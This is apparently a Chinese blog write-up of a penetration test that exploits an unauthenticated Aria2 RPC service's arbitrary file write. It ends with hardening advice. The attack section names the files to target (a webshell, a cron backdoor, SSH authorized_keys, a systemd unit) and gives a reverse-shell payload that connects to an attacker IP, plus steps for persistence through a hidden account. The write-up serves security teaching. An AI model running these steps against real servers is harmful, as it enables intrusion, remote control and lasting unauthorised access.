从一次内部渗透测试说起:利用Aria2任意文件写入漏洞,我是如何一步步拿到Shell的

张开发
2026/4/17 10:19:02 15 分钟阅读

分享文章

从一次内部渗透测试说起:利用Aria2任意文件写入漏洞,我是如何一步步拿到Shell的
渗透测试实战Aria2 RPC服务漏洞的深度利用与防御思考第一次注意到这台服务器是在例行扫描时发现的。6800端口——这个数字对大多数运维人员来说可能毫无意义但对于熟悉Aria2配置的安全工程师而言就像黑夜中的灯塔一样醒目。作为一款轻量级的多协议下载工具Aria2在开发者群体中颇受欢迎但很少有人意识到默认配置下的RPC接口可能成为整个系统防线的突破口。1. 目标识别与环境侦察在真实的渗透测试场景中信息收集的质量直接决定了后续攻击路径的可行性。当Nmap扫描报告显示目标服务器开放了6800端口时我的第一反应是确认服务指纹nmap -sV -p 6800 192.168.1.105返回结果显示运行的是Aria2 1.32.0版本——这个版本恰好存在已知的任意文件写入漏洞。但先别急着兴奋真实环境中总会遇到各种意外服务连通性验证直接访问http://192.168.1.105:6800返回空白页面这是正常现象因为Aria2的RPC接口需要特定格式的请求协议支持测试尝试发送简单的JSON-RPC请求确认服务响应{ jsonrpc: 2.0, id: 1, method: aria2.getVersion }权限验证检查是否需要token认证某些配置会启用--rpc-secret参数实际测试中遇到404错误时不要立即放弃。Aria2的RPC接口路径可能需要完整URL如http://ip:6800/jsonrpc2. 漏洞利用链构建确认基础环境后接下来需要设计完整的攻击链条。Aria2的任意文件写入漏洞本质上是由于对下载文件保存路径缺乏足够限制结合其RPC接口的未授权访问形成了高危攻击面。2.1 交互工具选择虽然可以直接构造JSON请求但使用可视化工具效率更高。Yaaw作为Aria2的Web前端能显著降低操作复杂度工具名称优点缺点Yaaw界面直观配置简单功能相对基础AriaNg功能全面支持多任务需要额外部署命令行curl灵活可控学习成本高配置Yaaw连接目标服务的步骤访问在线demo页面点击设置图标进入配置填写RPC地址为http://目标IP:6800/jsonrpc测试连接状态2.2 文件写入技术实现核心思路是利用下载功能将恶意文件写入系统关键位置。以下是经过实战验证的有效路径Web目录写入/var/www/html/shell.php定时任务注入/etc/cron.d/backdoorSSH密钥植入~/.ssh/authorized_keys系统服务配置/lib/systemd/system/malicious.service实际操作时需要特别注意目标系统的目录权限结构文件命名避免触发安全机制写入内容需要符合目标文件格式要求# 示例构造反弹shell的payload文件 echo #!/bin/bash payload.sh echo /bin/bash -i /dev/tcp/攻击机IP/4444 01 payload.sh chmod x payload.sh3. 实战攻击路径演示在测试环境中我们模拟了完整的攻击生命周期。以下是关键节点的时间线初始访问T1190利用公开RPC接口建立连接验证漏洞存在性执行恶意代码T1059通过文件写入部署webshell触发执行获取初始立足点权限维持T1136写入crontab实现持久化创建隐藏后门账户特别提醒实际渗透测试必须获得书面授权未经许可的测试可能涉及法律风险4. 防御策略与加固建议针对Aria2服务的防护应当从多个层面展开网络层控制限制6800端口的访问来源iptables/nftables部署网络入侵检测规则服务配置加固# 推荐的安全配置参数 --rpc-secretComplexPassword123! --rpc-listen-allfalse --rpc-allow-origin-allfalse系统层防护定期更新Aria2到最新版本配置文件完整性监控如aide实施最小权限原则运行服务监控与响应日志记录所有RPC调用设置异常下载行为告警定期审计系统关键文件在最近一次为客户做的安全评估中我们发现超过60%的Aria2实例存在配置不当问题。有个有趣的案例某公司的发布系统因为开发人员图方便在临时服务器上开启了RPC接口却忘了关闭导致整个代码仓库面临泄露风险。这提醒我们技术债务的积累往往在不经意间埋下安全隐患。

更多文章